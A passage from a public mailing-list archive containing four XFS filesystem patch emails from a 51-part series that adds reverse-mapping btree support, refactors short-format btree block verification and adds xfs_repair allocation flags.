cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:52 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756pXv019703 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:51 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9756pKD002029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:51 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9756p8d024826; Wed, 7 Oct 2015 05:06:51 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:51 -0700 Subject: [PATCH 15/51] libxfs: add the RMAP CRC to the xfs_magics list From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 15/51] libxfs: add the RMAP CRC to the xfs_magics list To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:50 -0700 Message-ID: <20151007050650.1504.47762.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194412 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- libxfs/xfs_btree.c | 7 +++++-- libxfs/xfs_shared.h | 1 + 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index a16ae7d..2138d2d 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -39,9 +39,9 @@ kmem_zone_t *xfs_btree_cur_zone; * Btree magic numbers. */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { - { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, + { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, 0, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, XFS_FIBT_MAGIC }, - { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, + { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, XFS_RMAP_CRC_MAGIC, XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ @@ -1113,6 +1113,9 @@ xfs_btree_set_refs( case XFS_BTNUM_BMAP: xfs_buf_set_ref(bp, XFS_BMAP_BTREE_REF); break; + case XFS_BTNUM_RMAP: + xfs_buf_set_ref(bp, XFS_RMAP_BTREE_REF); + break; default: ASSERT(0); } diff --git a/libxfs/xfs_shared.h b/libxfs/xfs_shared.h index 84360bb..88efbb4 100644 --- a/libxfs/xfs_shared.h +++ b/libxfs/xfs_shared.h @@ -211,6 +211,7 @@ int xfs_log_calc_minimum_size(struct xfs_mount *); #define XFS_INO_BTREE_REF 3 #define XFS_ALLOC_BTREE_REF 2 #define XFS_BMAP_BTREE_REF 2 +#define XFS_RMAP_BTREE_REF 2 #define XFS_DIR_BTREE_REF 2 #define XFS_INO_REF 2 #define XFS_ATTR_BTREE_REF 1 From darrick.wong@oracle.com Wed Oct 7 00:07:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 24CF629E6E for ; Wed, 7 Oct 2015 00:07:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B42DFAC005 for ; Tue, 6 Oct 2015 22:07:08 -0700 (PDT) X-ASG-Debug-ID: 1444194426-04bdf020db0e8f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id nF8NPmZs2XoqoN2o (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:06 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975758d020062 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:05 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t97574nL030525 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:05 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97574ZP024893; Wed, 7 Oct 2015 05:07:04 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:04 -0700 Subject: [PATCH 17/51] libxfs: refactor short btree block verification From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 17/51] libxfs: refactor short btree block verification To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:03 -0700 Message-ID: <20151007050703.1504.50578.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194426 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Create xfs_btree_sblock_verify() to verify short-format btree blocks (i.e. the per-AG btrees with 32-bit block pointers) instead of open-coding them. Signed-off-by: Darrick J. Wong --- libxfs/xfs_alloc_btree.c | 30 ++--------------------- libxfs/xfs_btree.c | 58 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_btree.h | 3 ++ libxfs/xfs_ialloc_btree.c | 24 ++----------------- libxfs/xfs_rmap_btree.c | 23 ++---------------- 5 files changed, 70 insertions(+), 68 deletions(-) diff --git a/libxfs/xfs_alloc_btree.c b/libxfs/xfs_alloc_btree.c index e60538a..a487b81 100644 --- a/libxfs/xfs_alloc_btree.c +++ b/libxfs/xfs_alloc_btree.c @@ -293,12 +293,7 @@ xfs_allocbt_verify( case cpu_to_be32(XFS_ABTB_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_ABTB_MAGIC): @@ -311,12 +306,7 @@ xfs_allocbt_verify( case cpu_to_be32(XFS_ABTC_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_ABTC_MAGIC): @@ -330,21 +320,7 @@ xfs_allocbt_verify( return false; } - /* numrecs verification */ - if (be16_to_cpu(block->bb_numrecs) > mp->m_alloc_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - - return true; + return xfs_btree_sblock_verify(bp, mp->m_alloc_mxr[level != 0]); } static void diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 2138d2d..8baaf28 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -4071,3 +4071,61 @@ xfs_btree_change_owner( return 0; } + +/** + * xfs_btree_sblock_v5hdr_verify() -- verify the v5 fields of a short-format + * btree block + * + * @bp: buffer containing the btree block + * @max_recs: pointer to the m_*_mxr max records field in the xfs mount + * @pag_max_level: pointer to the per-ag max level field + */ +bool +xfs_btree_sblock_v5hdr_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) + return false; + if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) + return false; + if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + return false; + return true; +} + +/** + * xfs_btree_sblock_verify() -- verify a short-format btree block + * + * @bp: buffer containing the btree block + * @max_recs: maximum records allowed in this btree node + */ +bool +xfs_btree_sblock_verify( + struct xfs_buf *bp, + unsigned int max_recs) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + + /* numrecs verification */ + if (be16_to_cpu(block->bb_numrecs) > max_recs) + return false; + + /* sibling pointer verification */ + if (!block->bb_u.s.bb_leftsib || + (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) + return false; + if (!block->bb_u.s.bb_rightsib || + (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) + return false; + + return true; +} diff --git a/libxfs/xfs_btree.h b/libxfs/xfs_btree.h index 48ab2b1..dd29d15 100644 --- a/libxfs/xfs_btree.h +++ b/libxfs/xfs_btree.h @@ -471,4 +471,7 @@ static inline int xfs_btree_get_level(struct xfs_btree_block *block) #define XFS_BTREE_TRACE_ARGR(c, r) #define XFS_BTREE_TRACE_CURSOR(c, t) +bool xfs_btree_sblock_v5hdr_verify(struct xfs_buf *bp); +bool xfs_btree_sblock_verify(struct xfs_buf *bp, unsigned int max_recs); + #endif /* __XFS_BTREE_H__ */ diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index 1d3b9e7..e4eb328 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -223,7 +223,6 @@ xfs_inobt_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); - struct xfs_perag *pag = bp->b_pag; unsigned int level; /* @@ -241,12 +240,7 @@ xfs_inobt_verify( case cpu_to_be32(XFS_FIBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_meta_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && - be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; /* fall through */ case cpu_to_be32(XFS_IBT_MAGIC): @@ -256,24 +250,12 @@ xfs_inobt_verify( return 0; } - /* numrecs and level verification */ + /* level verification */ level = be16_to_cpu(block->bb_level); if (level >= mp->m_in_maxlevels) return false; - if (be16_to_cpu(block->bb_numrecs) > mp->m_inobt_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - return true; + return xfs_btree_sblock_verify(bp, mp->m_inobt_mxr[level != 0]); } static void diff --git a/libxfs/xfs_rmap_btree.c b/libxfs/xfs_rmap_btree.c index c02a46f..eb871e1 100644 --- a/libxfs/xfs_rmap_btree.c +++ b/libxfs/xfs_rmap_btree.c @@ -252,13 +252,10 @@ xfs_rmapbt_verify( if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return false; - if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) - return false; - if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) - return false; - if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + if (!xfs_btree_sblock_v5hdr_verify(bp)) return false; + /* level verification */ level = be16_to_cpu(block->bb_level); if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_RMAPi]) @@ -266,21 +263,7 @@ xfs_rmapbt_verify( } else if (level >= mp->m_ag_maxlevels) return false; - /* numrecs verification */ - if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[level != 0]) - return false; - - /* sibling pointer verification */ - if (!block->bb_u.s.bb_leftsib || - (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) - return false; - if (!block->bb_u.s.bb_rightsib || - (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && - block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) - return false; - - return true; + return xfs_btree_sblock_verify(bp, mp->m_rmap_mxr[level != 0]); } static void From darrick.wong@oracle.com Wed Oct 7 00:07:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C557329E8E for ; Wed, 7 Oct 2015 00:07:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B6B438F8037 for ; Tue, 6 Oct 2015 22:07:14 -0700 (PDT) X-ASG-Debug-ID: 1444194433-04cbb03f130d9e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id QNAoxePw4G10bz4O (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:13 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9757Cc9015853 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:07:12 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9757Cfl024208 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:07:12 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9757Ao0022488; Wed, 7 Oct 2015 05:07:11 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:07:10 -0700 Subject: [PATCH 18/51] xfs: don't update rmapbt when fixing agfl From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 18/51] xfs: don't update rmapbt when fixing agfl To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:07:09 -0700 Message-ID: <20151007050709.1504.49703.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194433 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Allow a caller of xfs_alloc_fix_freelist to disable rmapbt updates when fixing the AG freelist. xfs_repair needs this during phase 5 to be able to adjust the freelist while it's reconstructing the rmap btree; the missing entries will be added back at the very end of phase 5 once the AGFL contents settle down. Signed-off-by: Darrick J. Wong --- libxfs/xfs_alloc.c | 40 ++++++++++++++++++++++++++-------------- libxfs/xfs_alloc.h | 2 ++ 2 files changed, 28 insertions(+), 14 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 7bb3a88..21cb9a1 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -2094,26 +2094,38 @@ xfs_alloc_fix_freelist( * anything other than extra overhead when we need to put more blocks * back on the free list? Maybe we should only do this when space is * getting low or the AGFL is more than half full? + * + * The NOSHRINK flag prevents the AGFL from being shrunk if it's too + * big; the NORMAP flag prevents AGFL expand/shrink operations from + * updating the rmapbt. Both flags are used in xfs_repair while we're + * rebuilding the rmapbt, and neither are used by the kernel. They're + * both required to ensure that rmaps are correctly recorded for the + * regenerated AGFL, bnobt, and cntbt. See repair/phase5.c and + * repair/rmap.c in xfsprogs for details. */ - XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); - while (pag->pagf_flcount > need) { - struct xfs_buf *bp; + memset(&targs, 0, sizeof(targs)); + if (!(flags & XFS_ALLOC_FLAG_NOSHRINK)) { + if (!(flags & XFS_ALLOC_FLAG_NORMAP)) + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); + while (pag->pagf_flcount > need) { + struct xfs_buf *bp; - error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); - if (error) - goto out_agbp_relse; - error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, - &targs.oinfo, 1); - if (error) - goto out_agbp_relse; - bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); - xfs_trans_binval(tp, bp); + error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); + if (error) + goto out_agbp_relse; + error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, + &targs.oinfo, 1); + if (error) + goto out_agbp_relse; + bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); + xfs_trans_binval(tp, bp); + } } - memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; - XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); + if (!(flags & XFS_ALLOC_FLAG_NORMAP)) + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; diff --git a/libxfs/xfs_alloc.h b/libxfs/xfs_alloc.h index f78ce53..754b5dd 100644 --- a/libxfs/xfs_alloc.h +++ b/libxfs/xfs_alloc.h @@ -54,6 +54,8 @@ typedef unsigned int xfs_alloctype_t; */ #define XFS_ALLOC_FLAG_TRYLOCK 0x00000001 /* use trylock for buffer locking */ #define XFS_ALLOC_FLAG_FREEING 0x00000002 /* indicate caller is freeing extents*/ +#define XFS_ALLOC_FLAG_NORMAP 0x00000004 /* don't modify the rmapbt */ +#define XFS_ALLOC_FLAG_NOSHRINK 0x00000008 /* don't shrink the freelist */ /* From darrick.wong@oracle.com Wed Oct 7 00:07:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 47B3B29E89 for ; Wed, 7 Oct 2015 00:07:09 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 29F6D8F8037 for ; Tue, 6 Oct 2015 22:07:09 -0700 (PDT) X-ASG-Debug-ID: 1444194419-04cb6c57860d910001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id XgF34Eyxc1b26cTh (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:07:00 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756xRv015433 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:59 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756whU029997 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:58 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9756wpH024850; Wed, 7 Oct 2015 05:06:58 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:57 -0700 Subject: [PATCH 16/51] libxfs: enhance rmapbt definition to support reflink From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 16/51] libxfs: enhance rmapbt definition to support reflink To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:56 -0700 Message-ID: <20151007050656.1504.18168.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194420 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Enlarge the rmapbt records to support reflink operation. Signed-off-by: Darrick J. Wong --- include/xfs_trace.h | 12 + libxfs/util.c | 2 libxfs/xfs_alloc.c | 45 ++- libxfs/xfs_alloc.h | 5 libxfs/xfs_bmap.c | 281 +++++++++++++++++++-- libxfs/xfs_bmap.h | 5 libxfs/xfs_bmap_btree.c | 7 - libxfs/xfs_format.h | 120 +++++++++ libxfs/xfs_ialloc.c | 8 - libxfs/xfs_ialloc_btree.c | 6 libxfs/xfs_rmap.c | 610 +++++++++++++++++++++++++++++++++++++++------ libxfs/xfs_rmap_btree.c | 85 ++++-- libxfs/xfs_rmap_btree.h | 38 ++- 13 files changed, 1055 insertions(+), 169 deletions(-) diff --git a/include/xfs_trace.h b/include/xfs_trace.h index ebdf778..2c8d34e 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -178,4 +178,16 @@ #define trace_xfs_rmap_free_extent_done(a,b,c,d,e) ((void) 0) #define trace_xfs_rmap_free_extent_error(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmapbt_delete(a...) ((void) 0) +#define trace_xfs_rmapbt_insert(a...) ((void) 0) +#define trace_xfs_rmap_insert(a...) ((void) 0) +#define trace_xfs_rmap_delete(a...) ((void) 0) +#define trace_xfs_rmap_move(a...) ((void) 0) +#define trace_xfs_rmap_slide(a...) ((void) 0) +#define trace_xfs_rmap_resize(a...) ((void) 0) +#define trace_xfs_rmapbt_update(a...) ((void) 0) +#define trace_xfs_rmap_combine(a...) ((void) 0) +#define trace_xfs_rmap_lcombine(a...) ((void) 0) +#define trace_xfs_rmap_rcombine(a...) ((void) 0) + #endif /* __TRACE_H__ */ diff --git a/libxfs/util.c b/libxfs/util.c index c9f9175..32c3623 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -507,7 +507,7 @@ libxfs_bmap_finish( for (free = flist->xbf_first; free != NULL; free = next) { next = free->xbfi_next; if ((error = xfs_free_extent(*tp, free->xbfi_startblock, - free->xbfi_blockcount))) + free->xbfi_blockcount, &free->xbfi_oinfo))) return error; xfs_bmap_del_free(flist, NULL, free); } diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 40cb20a..7bb3a88 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -707,11 +707,13 @@ xfs_alloc_ag_vextent( ASSERT(!args->wasfromfl || !args->isfl); ASSERT(args->agbno % args->alignment == 0); - /* insert new block into the reverse map btree */ - error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, - args->agbno, 